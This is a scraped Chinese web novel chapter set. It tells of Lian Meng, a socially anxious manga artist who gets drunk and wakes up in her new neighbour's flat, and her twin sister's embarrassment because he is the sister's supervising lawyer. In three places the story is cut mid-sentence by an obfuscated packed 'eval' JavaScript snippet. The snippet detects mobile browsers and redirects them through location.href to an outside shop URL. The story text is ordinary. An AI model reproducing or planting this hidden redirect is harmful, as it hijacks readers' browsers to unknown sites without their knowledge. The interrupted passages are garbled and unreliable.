《她在她的云朵上》 1. 01 又是一年六月底。 转眼,连萌大学毕业一整年了。 她也一整年没怎么和人接触过了。 大学住校四年,巴掌大的四人宿舍里几乎没有个人空间,每一次有人不经允许就动她东西时,每一次因与室友作息不同而被吵醒时,她都曾经暗下决心,等她毕业后,一定要独居。 她本就厌烦和恐惧与人类相处,她想要拥有安静自由的独处生活。 她答应自己的,她做到了。 可一年后的今天,她正走在去见心理咨询师的路上。 人有时候连自己都搞不明白。 过去的二十几年,她一直认为一个人的平和就是她最梦寐以求的东西,给她一间吃喝都有、网络畅通的屋子,她就可以快乐地在里面待到地球毁灭。亲情爱情友情,这些只会给人带来烦恼的东西,她不稀罕,且避之不及。 她才不怕孤独终老。 她原本非常坚定这样的想法。 可最近的某一天,连萌忽然想出门透透气,独自一人没别的去处,就走进了一家超市,想着好不容易出门一趟,顺便添置点生活用品也好。结果不知道当天是什么日子,进去逛了没多久,人群里突然迎面而来三对年轻好看的小情侣,每一对都登对得让她忍不住目光追随——他们看着真的太美好了。 连萌无法否认内心的艳羡。 她今年就快要满二十三岁了,还没谈过恋爱,关于爱情全部的经验就只有暗恋。 照她这样社恐自闭下去,感觉人生什么都不会发生,转眼就会到三十三岁,然后四十三、五十三、六十三,七十三岁没有家庭就只能去养老院,到时候养老院里的黄昏恋怕是都轮不上她。 一旦出现了这样的想法,连萌无法控制地就会怀疑她真的能一直满足于目前的生活吗? 她得到了所有原本她想要的,避开了所有她不要的,但怎么会逐渐出现一种——被孤立的感觉。 是别人孤立了她,还是她孤立了自己? 或许性格社恐没有错,或许喜欢独居没有错,但可能她得重新划分一下生活的分界线——长时间不跟其他人接触确实让她产生了不安感和空洞感。 她需要理清自己,想要搞明白自己——或许不一定能成功,但她得试试。 尝试的第一步,连萌没有冒然去找原先生活中的那些人,她的内心太过敏感脆弱,别人无心的言行可能就会让小心翼翼想要接触外界的她再次缩回自己的壳里。她想要相对健全的生活,需要专业人士的指点和帮助。 连萌怀着自救的心态,鼓足勇气见了几个心理咨询师,最终选择了现在这位——这位叫祁予望的咨询师,形象端正,笑容友好,眼神温暖。虽然是男性,初见却让她觉得安心踏实,他引导她觉察自我、表达自己,整个咨询过程中都让她感到舒适包容。 正因为这样,连萌才会有勇气再来。 目前他们一周见一次,今天是第三次。 连萌依然觉得聊得挺好,心理咨询对她生活的改变当然不会立竿见影,她也做好了长期抗战的准备,但定期与这样情商高、包容力强、有耐心、没有歧视、不会打压、用词谨慎的专业人士吐露心声,已让她逐渐感受到倾诉的乐趣,原本快要承受不住的被孤立感有所缓解——花了钱的交流确实不一样。 从心理咨询师的办公室出来,她径直打车去了与朋友约好的日料店。 车上遇到位喜欢聊天、总要搭话的司机,连萌目光呆滞直视窗外,实在不想把方才心理咨询后好不容易提高的社交意愿在这里耗尽,但又因她做不到没礼貌,不想让别人感到尴尬,司机说的每一句话,她还都嗯嗯啊啊地回了。 到达目的地后,她花了一点时间寻找那家位于商场里的日料店。 这一年的独居生活中,偶尔想出来透透气的时候,她也一个人吃过几家网红店,但前来赴朋友的约真是时隔好久了。 心理咨询是她自救计划中的第一条,第二条则是自主尝试恢复部分社交——刚才心理咨询时,她也将想要试着恢复部分社交的想法告知了咨询师,咨询师支持她,并建议她留心观察自己社交时的感受和反应。 今儿要见的这人是连萌大学时最好的朋友,孟芊芊。 孟芊芊外向开朗,甜美时尚,喜欢跟各种人交朋友。她就是在大学阶段第一个“领养”连萌这个社恐的社牛,帮助连萌不落单地度过每个需要分组的活动,并积极跟她分享自己社交得来的第一手消息,使连萌这个自闭人士不至于与大家脱节。 某些时刻,连萌是把她当作救命恩人看待的。 她俩一年没见了,倒不是因为连萌独居闭关,而是孟芊芊出国读研了。 连萌先到的餐厅,自己找了个角落的位置坐下,拿着菜单好似在看,心里却忙着盘算待会儿该和孟芊芊聊什么话题——不是孟芊芊让她感到紧张,是她确实自闭太久,做好准备才能表现出正常社交该有的状态。 没过多久,孟芊芊到了,她通过与连萌的微信交流和服务员的帮助,找到了连萌所在的角落位置。 一头粉发的孟芊芊一看见她,情绪就在零点零一秒内飙到了连萌此生都没有到过的高亢程度,芊芊又笑又叫地冲上来搂着她抱了又抱,开心是真开心,但多少有点过头,不是连萌阻拦,她怕是下一步就要上嘴了——还好角落位置没什么人,没太影响到其他客人算是万幸。 两人坐下后,连萌非常有出息地首先开始了对话。 她清了下嗓子,语调平稳地问:“你什么时候回来的?” “就上周呀,回老家跟家里人见了面,然后又在公寓收拾了几天东西,我就迫不及待地约你了。”孟芊芊拿过菜单,“你点菜了吗?” 连萌摇头,声音依旧轻慢:“没。” “你要吃他们家的刺身拼盘吗?我可馋这一口了。”无论何时,孟芊芊似乎对人对事对物总是充满兴致,以至于她说话的音调都比连萌这样的人高几度。 “那就点一份这个吧。”连萌点着头,回答完她的问题,脑子里就匆忙在想是不是该她提问了,她方才自己默默梳理的话题有哪些来着? 要不还是接着她最开始的那个问题问吧。 连萌又清了清嗓子,“那你什么时候再出去呀?” 孟芊芊从菜单上抬头,瞧了她一眼,反问:“去哪儿?” “去美国,去你读研的学校。”按照她的思路对话,连萌就能较快地接上话。 “唉呀。”孟芊芊突然仰天长叹一口气,“别提了,前几天刚跟我爸妈吵了一架。” “怎么了?”这问题好问。 孟芊芊下意识放下菜单,然后又立刻捧起来,“点完菜跟你说。” 芊芊主导,连萌配合,两人快速地点完了菜。 孟芊芊接回刚才的话题:“我休学了。” “啊?”连萌张大眼睛和嘴巴,在表达着她的惊讶,“为什么?” 孟芊芊拖长着声音抱怨,道:“读研好无聊,而且我男朋友毕业要回国了,学校就更无聊了,我就干脆跟他一起回来了。” “男朋友?是你大四谈的那个?”连萌问。 “哪个?”孟芊芊不知道她说的是谁。 “就是你忙着申请读研学校前后谈的那个?”话说到这里,连萌意识到逻辑不太对,她在国内申请学校时谈的同届男朋友,怎么会先于她毕业。 果然,孟芊芊纠正了她,她无语地笑着,“那都八百年前的事儿了。我现在男朋友是我出国之后认识的,我的师兄。” “哦。”连萌点头,点完之后,小幅度地转着眼珠,在思考下一个话题该谁提,该她提的话,她提什么比较好。 幸好,孟芊芊十分连贯自然地将聊天话题主人公换成了她,芊芊问道:“你呢?谈恋爱了吗?” 这可是连萌近段时间的敏感问题。 她顿了顿,才答:“没有。” “还没有?”这答案惊得孟芊芊嗓门更大了,“你毕业之后这一年都忙什么了?” 芊芊出国了,她并不知道她这一年来处于隔绝社交和人群的状态。 连萌懒得再提,只说:“工作呀。” “你从大一开始画的那部漫画前两个月不是完结了?在动笔画下一部之前,你不得趁这空档赶紧谈恋爱呀?”孟芊芊替她着急,“不然过了这段空闲的时间,你又得开始忙工作,不就彻底没空了?” 连萌再次回想起之前超市里遇见的漂亮小情侣们,她也发愁:“谁说不是呢。” 孟芊芊见她这反应,立刻察觉到她对恋爱的态度与大学时有所不同,她利落地拍了下桌子,身体向前,凑近她问道:“回答我一个问题,想谈还是不想谈?” 连萌缓慢眨了眨眼睛,诚实地点了下头——她现在确实对美好的恋爱有向往。 孟芊芊扭脸儿就抓起手机翻通讯录,嘴里念念叨叨:“想谈,你就跟姐们儿说呀,你看你这费劲的样儿。你又不是不知道我手机里有多少帅哥。” “你干什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300555|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连萌被她的话和动作吓到,伸手想阻拦,被孟芊芊躲开。 芊芊不断滑看微信通讯录,心里大概计算了下,然后跟连萌说:“这样,趁你我都有空,以你一个星期谈上恋爱为目标,接下来七天的早中晚三餐,我帮你安排不同的人见面,你从中挑一个最喜欢的谈,可以吗?” 可以什么?不可以! 连萌连连摇头,快要求饶,“不用了,这种方式不适合我。而且会跟你交换联系方式的男生,应该是喜欢你这样性格的人,我跟他们不合适的。” 见都没见,就说不合适? 孟芊芊拿她没办法,又对她的天真感到好笑,“他们喜欢什么我的性格,他们就是喜欢美女而已,你给他们一个见到你的机会,他们照样积极得不行。” 连萌想象了下她跟那些喜欢并且擅长暧昧的男生谈恋爱的样子,下意识还是摇头,“真的算了,我应付不了那样的人,我也不喜欢跟陌生人吃饭。” 还一连吃七天,怕是会耗尽她这辈子所有用于社交的能量。 她的坚决拒绝让孟芊芊这种想到什么做什么的人产生了很大的疑问:“那你不是想谈恋爱吗?怎么,你是要等你的真命天子入室抢劫?” 孟芊芊不太了解连萌的现状,但以连萌整个大学期间的社交情况来看,她要想谈上恋爱,差不多就只剩下这种可能性了。 芊芊深深地叹息。 连萌是个漫画家,人如其职业,长着一张漫画女主的脸,大眼睛白皮肤短圆脸,可爱讨喜的五官配上乖巧的锁骨发,一米六三的身高,不高不矮,最显娇俏。 长成这样的人,竟然还需要发愁谈不上恋爱? 孟芊芊才发愁,她认识连萌这么久,还是不懂她的脑回路。 两人慢慢悠悠吃完日料,结账出门后,孟芊芊提议要不要去夜店转一圈消消食? 芊芊已经做好了再次被拒绝的准备,谁知连萌竟然答应了。 连萌最近开始害怕她的人生什么都没体验到就会老去,所以小心翼翼地想要尝试接触外界,她没去过夜店,要是不趁这机会跟孟芊芊这样的老手去见见世面,她估计这辈子也没机会知道夜店长什么样了——上来就跟她的那些帅哥朋友单独约饭实在有点太快,但躲她旁边去看看新鲜事物还是可以的吧。 天哪,连萌的真命天子终于不是只能入室抢劫了。 孟芊芊对此颇感欣慰。 但她没直接带连萌去夜店,而是将她带回了自己的公寓,用她的化妆品、小黑裙和高跟鞋给连萌重新装扮了一遍。 打扮结束,连萌站在镜子前,像是看见了另一个人。 她化过妆,但没化过这么浓的妆。她穿过裙子,但没穿过这么短的裙子。 她一只手去碰假睫毛,想说会不会太夸张,另一只手还忍不住向下拉她身上的裙子。 孟芊芊看她忙的呀,将她双手放回身侧,拍了拍她的腰板,警告她:“打扮好了,你出门就大大方方的,越是觉得别扭,越显得小家子气,越引人注目,越容易被人笑话。” 她这话说得连萌又开始犹豫了,“要不我还是不去了吧。” “哦,我给你忙活半天,你说不去就不去了?”孟芊芊真来气了,“要不你就去,要不我俩就绝交,以后你就别想见到我了。” 那可不行,孟芊芊是她过去和未来的社交监护人,是她与世界产生连接最便利的通道。 连萌再次照镜子——既然被化成了另外一个人,不如就当自己在扮演别人。 想是这么想的,真进了夜店,面前没有镜子,她就还是连萌本人,如往常般在人堆里身体僵硬和不知所措。 孟芊芊带她进舞池蹦了一会儿,效果不好,她就想利用酒精让连萌兴奋起来。 孟芊芊开了一堆酒,劝连萌多喝,醉了才好,才能释放天性。 连萌却劝孟芊芊少喝点儿,周围全是陌生人,她俩要是都喝倒了,实在太危险。 孟芊芊嘴上说她真没劲,手上拿手机叫来了自己的男朋友当保镖并负责结账,然后她朝着她举杯道:“行了吧?放心喝。” 即使孟芊芊这么说了,连萌刚开始还是喝得很小心,后来不知道怎么了,可能真上头了,她越喝越来劲,脑子也越来越不做主。 然后—— 突然一道白光亮起,她再有意识时,是在一张沙发上醒来,连萌还没来得及品味头一次宿醉的感觉,就有男人的声音在旁边响起。 那人没什么好气地在说:“醒了?” 2. 02 陈述不知道倒了什么霉。 他计划搬到新家的头一天,就被突如其来的工作耽误了大半天,搞得太阳都要下山了,他才好不容易跟搬家公司的人碰上面——即使周末,他也没有完整属于自己的一天,搬家无法改期,只能加快速度。 加快速度的后果就是,搬运工摔碎了他一箱的杯子和碗,赔偿问题啰哩叭嗦扯了半天,到了还是得他自己去买——要不然他今天累得要死,半夜连口水都喝不上,明早连口粥都没碗放。 好哥们儿说这房子装修时的门锁还没换,主动请缨留下帮他看家,信誓旦旦说什么好兄弟讲义气,今夜不眠不休,也会帮他一起收拾好家。 陈述信了他的鬼话,独自前去小区门口二十四小时营业的便利店买东西,想要的杯子和碗没买到,只好先拎点现成的水和便当回去,结账的动作都还没完成,就有说话不算话的混蛋发消息来了,说有急事,先走了,下次一定帮忙。 陈述回:下次一定你大爷! 他被放鸽子的火气还没消,到了家门口发现,哥们儿走的时候急得连门都没给他带上。 他这急事,可能是急着去投胎吧。 陈述咬着后槽牙,进屋关门,看着四处散落的行李和纸箱,正感头疼时,忽然听见了哼哼唧唧的女声。 陈述脚步立马顿了下,下一秒又安慰自己,可能是他今天累昏头了,所以出现了幻听? 可他抬脚刚想再走,那女声又出现了。 陈述心里骂脏话,这新搬的家还能闹鬼啊?满屋子的灯都还亮着,要闹也不能挑这会儿吧? 然而,那“鬼”好像偏要这会儿闹,并且越闹越凶,哼哼唧唧的声儿逐渐能听出词儿了—— “水、渴……好渴。” 伴随着清晰的“好渴”俩字儿,有一只腿搭到了沙发靠垫上——沙发没靠墙,放置在客厅中间,陈述进门站在沙发背后的餐桌旁,此刻看不见沙发上有什么东西。 他活活被吓一跳,六月底的天,他刚刚出门买东西出的汗,都没有这会儿站在空调底下多。 陈述左右看了两眼,想找个有攻击力的东西防卫,可惜东西都还封在箱子里,他只能顺手拎了旁边的一把椅子。 他慢慢走近,发现那腿细细嫩嫩的——你别说,挺像活人腿。 他刚这么想,那腿突然又拿下去了,“好渴”的声音再次响起,沙发上还有人翻身发出的摩擦声。 陈述感觉不对劲,快步上前查看——只见他新买的沙发上真躺着一活人,还是个女孩儿。 陈述顿时满头问号,难以置信,第一反应是想报警。 可拿手机的工夫,眼前这女孩儿的脸却越看越眼熟,哪怕她化着浓妆,并且妆也花了,但他还是认出来了—— “连翘?” — 次日天光大亮时,连萌头疼欲裂地醒来,手还没捂上脑袋,就被突然的男声吓到。 她哑着嗓子惊叫一声,睁眼就看见面前站着一个陌生的男人——男人脸挺好看,脸色却不好看。 并且,这好像不是她家。 连萌刚开始以为是梦,闭眼缓了会儿神,再睁眼确认不是梦后,赶忙想起身,身上的薄毯随着她的动作滑落一半,她却控制不住身体似的,又倒回了沙发。 哇,这就是宿醉的感觉吗? 她从来没像昨天那样喝过酒,头一次体会到宿醉是真要命。 男人瞧她一眼,依旧没好气,“怎么又躺回去了?头疼起不来?” 说完,见霸占他家沙发一整晚的人好像难受得分不出精力回答他的问题,他叹了口气,顿了两秒,慢慢悠悠往厨房的方向走。 连萌捂着脑袋闭着眼,听见男人的脚步声渐行渐远后,顶着恶心感硬是爬起身,确认好哪儿是门口后,拎起自己随身的小包,脚步踉跄着往外冲。 陈述从厨房出来,突然就听见了家门被猛地关上的声音,再转头往沙发看,沙发上已经没人了。 陈述手里拿着瓶水,定在原地,十分不解——她跑什么?今天跑了,明天周一上班,事务所里不还是得见? 陈述不想再管她,更没有追出门——跑都跑了,就随她去吧,反正酒应该也醒了。 他掉头刚想开始忙自己的事儿,又觉得有些东西还是得嘱咐。 他给连翘发消息:你昨晚喝醉睡在我家的事,去了律所别乱说。另外,我真的很想知道你是怎么跑进我家的,为了我的财产和人身安全,稍后希望你给我一个妥善的解释。 — 连萌磕磕绊绊跑出陌生男人的家,不小心顺手甩上门的动作吓了她自己一大跳,怕男人听见声音追出来,她慌忙跑进电梯,按下一楼键后,又手速飞快地按着关门的键。 电梯门顺利关上,她才松了一口气,靠在角落平复心情,刚巧就在电梯镜子里看见了自己——妆已经花得乱七八糟,头发也不像样子,但身上的小黑裙倒还穿得好好的。 她下意识拉了拉裙子,从十二层到一层的时间,她终于有精力生出疑问:昨晚到底发生了什么,她怎么会在陌生男人的家里醒来,那人应该——没把她怎么样吧? 电梯开门声响起时,连萌依然沉浸在自己的思绪里,她脚步缓慢无力地走出电梯,走到楼门口,夏天太阳太刺眼,她眯着眼睛一抬头——欸?这小区环境倒是很熟悉,跟她住的清水湾简直一模一样。 到了这会儿,连萌终于开始留意起周围的环境。 不对,这就是清水湾,她出来的这栋楼还正是她住的一号楼。 那没记错的话,她也住在十二层呀? 连萌酒后的脑袋转得慢,想了一会儿才转过弯来。 刚才那个陌生男人该不会是——她对门的邻居吧? 连萌在清水湾一号楼十二层1201已经租住了一整年,看房的时候房东提过对门当时没住人,她那会儿还把这点当成这套房其中的一个优点——不用担心巧遇邻居,也算是社恐人士的福利。 可她搬过来后没过两三个月,对门就开始动工装修,装修声音烦了她很久,但因为连萌即使出门扔垃圾都会尽量选在能够避开人群的时段,所以倒是从来没有撞见过对面施工的工人或屋主。 之后,又过了几个月,装修的声音停止了,但到底有没有人搬进去住,她也不清楚。 连萌再次返回十二层,出电梯时脚步快且轻,仔细认清门牌号后,迅速用指纹开锁,轻手轻脚进家门,又轻手轻脚关门。 关门的刹那间,她注意到对面的门外多出一个之前没见过的鞋柜——那这个人或许是昨天她不在家的时候,刚搬过来的? 连萌瘫坐在玄关处,整个人精神萎靡、心脏直跳、头晕脑胀。 看,她早就说了,出门一趟真的很累,只要跟人接触就不知道接下来会发生什么——这就是她社恐的一个很大的原因。 不过这回也是她自己的错,瞎去夜店,瞎喝酒,瞎做尝试。 这下好了,她昨天去的那趟心理咨询算是白去,并且这种程度的身心俱疲,到她下次心理咨询的时间都不知道能不能恢复。 连萌还没从一早的惊吓中缓过劲来,随身小包里就有手机铃声响起,她的心脏再次猛地收紧——她的手机一向静音,怎么昨天喝个酒,还把铃声打开了? 她皱着眉头翻出手机,边关铃声边看屏幕,本以为是孟芊芊打来关心她宿醉后状况如何,结果来电的人却是连翘——比她早出生五分钟的,她的双胞胎姐姐。 “打什么电话呀?”连萌自言自语了一句,将手机反盖在地板上,完全没有接听的打算。 等她终于提起点精神,能挪位到沙发上时,她才给连翘回消息。 连萌:别给我打电话,我讨厌接电话,有事给我发消息。 这话都跟她说过八百遍了,就是不记得。 连翘:谁想给你打电话,我是有急事要问你。 连萌:问呗,不会打字? 连萌这个社恐,对待所有人的态度都是礼貌且谨慎,只有面对这个跟她长得一样的人时,才牙尖嘴利得很。 还好,连翘也不是个好欺负的人。 连翘:你昨晚没惹什么事儿吧? 连萌愣了下,没正面回答:怎么突然问这个? 连翘没回答她的问题,专注自己的疑问:你昨晚没有喝醉睡到别人家吧? 连萌收到这条消息,沉默了一会儿。 连萌:你最近不当律师,转行算命去了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来喝到她俩轮流跑厕所吐时,连萌的首次夜店之行就正式宣告结束。 程皓将她俩先后弄上车,本来想一个放前座一个放后座,两人的位置都能宽敞舒适点。 结果她俩抱在一起,非要相依为命,死都不愿意分开,程皓就把她们都放后座了。 他按照她们喝醉前给的地址,先将连萌送到了清水湾一号楼下。 连萌和孟芊芊依依不舍地道别了很久,然后连萌下了车,程皓见她醉得脚步不稳,想送她上楼,又觉得不合适。正犹豫的时候,喝醉了也依然很有分寸的连萌让他只管照顾好同样喝醉的孟芊芊,他们都送她到家楼下了,她自己没问题的。 孟芊芊和程皓知道的部分,到此为止。 接下来的状况,连萌是通过她自身恢复的少量记忆和她安装在门外的监控得知的。 告别孟芊芊和程皓后,她非常顽强地独自进了楼,找到了电梯,准确地按下了十二的数字,然而出电梯的时候,左脚绊右脚,她摔了一跤,方向感就这样错位了。 她恍恍惚惚地爬起身,好不容易摸到了门,手往指纹锁的位置去,好像还没听见锁被打开的声音,门就被她拉开了——那她一碰就能开的门,肯定是她家的门啊。 连萌顶着不清醒的脑袋,毫不怀疑地走进去,进去了之后还在想,哎哟,她出去的时候忘了关灯啊。 后来,她不知道费了多大的劲,一路上感觉撞到了好多东西,才总算找到了沙发,爬上去之后,就再也不想动了—— 连萌低头瞧自己的腿,真有好几块淤青。 从邻居家往外跑的时候,也确实看见了一地的箱子。 再结合刚才和连翘在微信上聊的内容,连萌终于能承认这一切都是她的错——是她喝醉,是她误闯别人的家,是她霸占人家的沙发。 而她的邻居,那位叫陈述的律师,昨晚没把她轰出去,也没报警的原因:应该是他把她当成了连翘,连翘是他的实习生,既然是认识的人,他可能就没想把事情闹大。 3. 03 连萌梳理清楚全部过程后,先于愧疚感涌上来的是饥饿感。 她把连翘交代要给陈律解释的事情放在一边,先给自己泡了杯蜂蜜水,塞了两块面包,感觉恢复了一点体力,又开始卸妆洗澡。 水流的声音让她的身心慢慢恢复平静。 如果非要说出门和社交带给她的好处和意义,大概就是每当出门一趟,与人社交一次,她就越能感受到独自一人时的清净平和有多珍贵,短时间内不会再不知好歹地觉得这是孤独。 连萌怀疑起自己去做心理咨询、想要接触外界、恢复社交的自救计划,到底是不是自救,还是只是她在给自己找麻烦。 下午,连萌在家补昨晚没睡好的觉。 睡梦中,突然被敲门声惊醒——敲门声比手机铃声更让她感到不适。 她想假装家里没人,门外人却敲个不停。 连萌只好从床上爬起来,踩上拖鞋,走到门口,问:“谁啊?” 门外人火气挺大:“我!” 连萌一听,又是连翘。 连萌开门,带着起床气,满脸烦躁地问她:“你不说一声就来?” 连翘自然有她的理由:“我是来问你,我让你给陈律道歉的事儿办得怎么样了。” “不是跟你说过了,有事发消息给我。”连萌再次重申。 连翘来气,“我发了,你倒是回我消息啊。” “我睡觉呢。” 两人一个赛一个地拔高音量。 连翘颇感荒唐:“你倒是睡得香,我中午饭都吃不下,你昨晚的事儿回忆起来没有?明天周一,我就要在律所跟陈律碰面了,你要是没道歉没解释,你让我怎么面对他?” 连萌闻言,自知理亏,泄了气,降低嗓门,回答问题:“昨晚的事儿,我都梳理清楚了,但还没去给他道歉和解释。” “我就知道。”连翘瞪眼。 连萌试图逃避:“你来都来了,要不你去?买礼物的钱,我出。” 连翘了解她的性子,但不理解,她十分无语,目不转睛地盯着连萌看,试图用眼神谴责她。 连翘咬牙道:“你先说,昨晚到底怎么回事儿。” 连萌丧着脸,将昨天和孟芊芊约饭到今早逃出陌生男人家后才发现他是自己邻居的整个过程,都讲了。 连翘寒心,“我约你吃饭,你不愿意出门,倒是跟别人又吃又喝的,还给我惹麻烦。” 连萌还困着,懒得听她啰嗦,自说自话:“反正事情就是这么个事情,喝醉闯进别人家是我的错,但我也真的不是故意的,我更不知道世上还有这么巧的事,我人生唯一一次进错家门,进的竟是你带教律师的家。我愿意道歉和解释,但同时我也确实很想装死。” 要不是因为给连翘惹了麻烦,她这下不得不面对,不然连萌真的很有信心可以一直不跟她的邻居碰上面,让她的邻居以为那天闯进他家的就是一个不知哪儿来的疯婆子。 连萌换下睡衣,换上外出服,跟着连翘去小区附近水果店买了几样昂贵的水果。 回家的电梯里,连萌心跳加速,满脑子忙着组织语言,以为一到十二层就得直奔邻居家道歉。 结果连翘却把水果拎回了她家。 连萌站在门口,压低声音问:“不是要去道歉?” “陈律正在律所开会,估计待会儿才会回。”连翘坐到沙发上,向她转达从同事那儿得来的消息。 “他不在家?”连萌疑问,进门关门,“那他都不在家,你一来就质问我有没有去给他道歉干什么?” “我早上就让你去给他道歉,你到中午不也什么都没干吗?下午我得知他被叫去律所加班了,才想问问你事儿有没有办,结果你也不回我消息,我能不心急吗?”就是知道陈律没在家,连翘来的时候才敢那么大声地敲连萌的门。 连萌撇撇嘴,“那他什么时候回来?” “应该快了,同事说他们会议就要结束了。”连翘答。 万禾律所离清水湾小区不远,连萌和连翘拌着嘴,没过一小时,连翘就忽然模糊听见了门外电梯开门声和脚步走动声——事关她的实习评价,她耳朵都变灵敏了。 趁着陈述换鞋的工夫,连翘带上水果、拉上连萌,在他进家门之前,跑到了他面前。 陈述一身正装,将脱下的外套放在鞋柜上,正低头换鞋,听见邻居出门,他下意识抬头看了眼,意外看见了两张几乎没什么区别的脸。 他分不清谁是谁,下意识冲着两人,疑惑地喊了声:“连、翘?” 头发更长的女孩儿满脸堆笑地开口:“陈律师好,我是连翘,这是我的双胞胎妹妹连萌,她也是您的邻居。” “邻居?”陈述的嗓子莫名一噎,反应了会儿,他才继续说话:“怎么没听说过你是双胞胎?” 连翘依然笑,“在律所,没什么机会能聊到家庭情况。” 实习前,面试她的人倒是问过些有的没的,但正式实习后,她没跟律所的人提过家里。 陈述点了下头,边弯腰将外出的鞋放进鞋柜,边问:“所以有什么事儿吗?” 连翘手上拎着一堆水果,一看就是冲着他来的。 连翘回答:“关于您早上给我发的那条消息,我们是来给您道歉和解释的。我妹妹昨晚喝醉酒不小心误闯您家,实在是对不起,也谢谢您大晚上的没有把她轰出去。” “昨晚闯进我家的,不是你,是你妹妹?”陈述原本与连翘对视的目光移至她旁边人脸上——这妹妹此时已经不见之前浓妆艳抹的样子,脸上白净清淡,头发干净整洁,穿了身白裙,看着挺乖。 “是的,她昨天跟朋友喝酒喝多了,回家就进错了门,谁知道这么巧,进的是您家。不过也还好是您家,不然她的安全可就堪忧了。”连翘擅长为人处世,解释加拍马屁,话说得很溜。 陈述瞥她俩一眼,“进的是我家,就不用担心她的安全了?你才认识我几天啊,你了解我是什么样的人吗?你在法学院那么多案例都白看了?” 即使是非常熟悉的人也存在危险性,甚至有时候比起陌生人,熟人更可怕。 未发一语的连萌也这么认为,她甚至想问问他有没有对她怎么样。虽然她的身体除了宿醉头疼,没有其他不对劲的感觉,但这谁能说得准。 可她眼下不能真把这问题问出口,毕竟她姐拉她来,是来道歉的。 连翘想让陈述把水果收下。 陈述转身开家门,一只脚都踏进去了,忽然转头看向连萌,“是你误闯了我家,怎么道歉的话都让你姐说?” 连萌闻言,抬头看他,与他视线相撞后,又匆忙垂下眼眸,她语气平淡,道:“对不起,陈律师。” 她对他感到抱歉,也对他心存疑虑,复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300557|152221||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂的心情导致她的道歉听起来没什么诚意。 “情况我知道了,东西你们拿回去吧。”陈述没再多说什么,应付完她们,直接进家关门。 他这门一关,留下连萌和连翘面面相觑,搞不明白他到底有没有接受她们的道歉。 陌生人一消失,先做出反应的是连萌。 她也转身回家,“差不多了吧,歉也道了,解释也解释了,水果他也不收,那不管他接不接受,我们都没有更多能做的事了。” 连翘虽然还在担心她的实习评价,但连萌说得对,她又还能怎么样呢。 她只能带着陈律不收的水果,回她自己的家了。 连翘往电梯里走。 本已进家门的连萌忽地跑出来,“你就直接走了?那他不收,你把水果给我留下呀,我付的钱。” 买的都不是便宜水果,花了她好几百块呢。 连翘加快脚步进电梯,转身按键,在电梯关门前,两手拎着满满的水果,朝着连萌抬下巴,“你给我惹了麻烦,我遭受了无妄之灾,你不需要给我道歉啊?” “那你好歹给我留一半啊。”连萌紧赶慢赶,向电梯门追去,但还是晚了一步。 她站在连翘离开的电梯前,咬牙切齿,跺了跺脚。 旁边的另一部电梯在这时响起了开门的声音——清水湾小区是一层两户两梯。 连萌下意识转脸看去,看见一个中年男人,他手里拿了个上面写着“开锁换锁”字样的工具包。 邻居家的门再次打开,陈述走出来。 中年男人各看了他们一眼,问:“是哪家要换锁?” 连萌懵住。 陈述开口:“我。” 连萌的目光都没敢往陈述那儿飘,转身快步回了自己家,之后通过门镜看见对面确实在换指纹锁。 在她误闯他家的第二天就立刻换上安全系数更高的锁,是在防着她吗? 明明她能闯进去,也有他家门没关好的原因。 这搞得像是她偷了他的钥匙一样。 连萌思虑过多,把自己搞得委屈巴巴。 但她很快转念,经过了昨晚,他想换锁也无可厚非。 谁都需要让自己感到放心和安全。 这一点,她没能做到——酒醉后将自己置于尴尬又危险的境地,内心隐隐的担心都无法理直气壮地去求证。 昨晚进了他家门后,她无从得知他有没有对她怎么样,她回想不起来,更没有监控。即使他没暴力性地伤害她,但谁知道他有没有动手动脚,占她便宜。 毕竟有时候越是一表人才的人,越是变态。 连萌独自内耗,浑身不适。 她不认识这位陈律师,她无法像连翘一样信任他,他家里好像也没别人,那就意味着她与他在同一空间独处了一整晚,连萌心里很难不对他抱有怀疑和警惕。 她倒是宁愿他昨晚报了警。 — 当天傍晚六点多,连翘没有任何前言,给连萌发了一张微信截图。 连萌点开图片,上面显示着陈述五分钟前发给连翘的最新消息。 陈述:【我家客厅监控的内存卡放在你妹妹家门口的鞋柜上,你们有任何的疑问或担忧,可以随便查看。】 连萌打开家门,看见鞋柜上放着一张内存卡和她今早跑走时忘在他家的高跟鞋。 4. 04 醉酒进错家门事件之后,连萌重回自闭状态,一周没出小区大门。 再次出门,是为了心理咨询。她跟她的心理咨询师祁予望固定约在周六下午。 连萌这周去主要是跟他吐槽了上周的事情,倾吐了她的难堪和愧疚,以及这些负面情绪让她再次回到了闭门不出的状态。 祁予望依然建议她出门,但告诉她不必非要为了社交目的出门,她最好稳定作息时间、保持运动——每天早上或晚上,出门散步或跑步,半个小时到一个小时。 良好的作息和简单的户外运动习惯有助于她的身心健康。不为了社交出门,则可以减少她对出门的恐惧,而适应出门,才应该是她恢复社交的第一步——由上周情况得知,连萌不适合太过急进的社交尝试,她需要循序渐进。 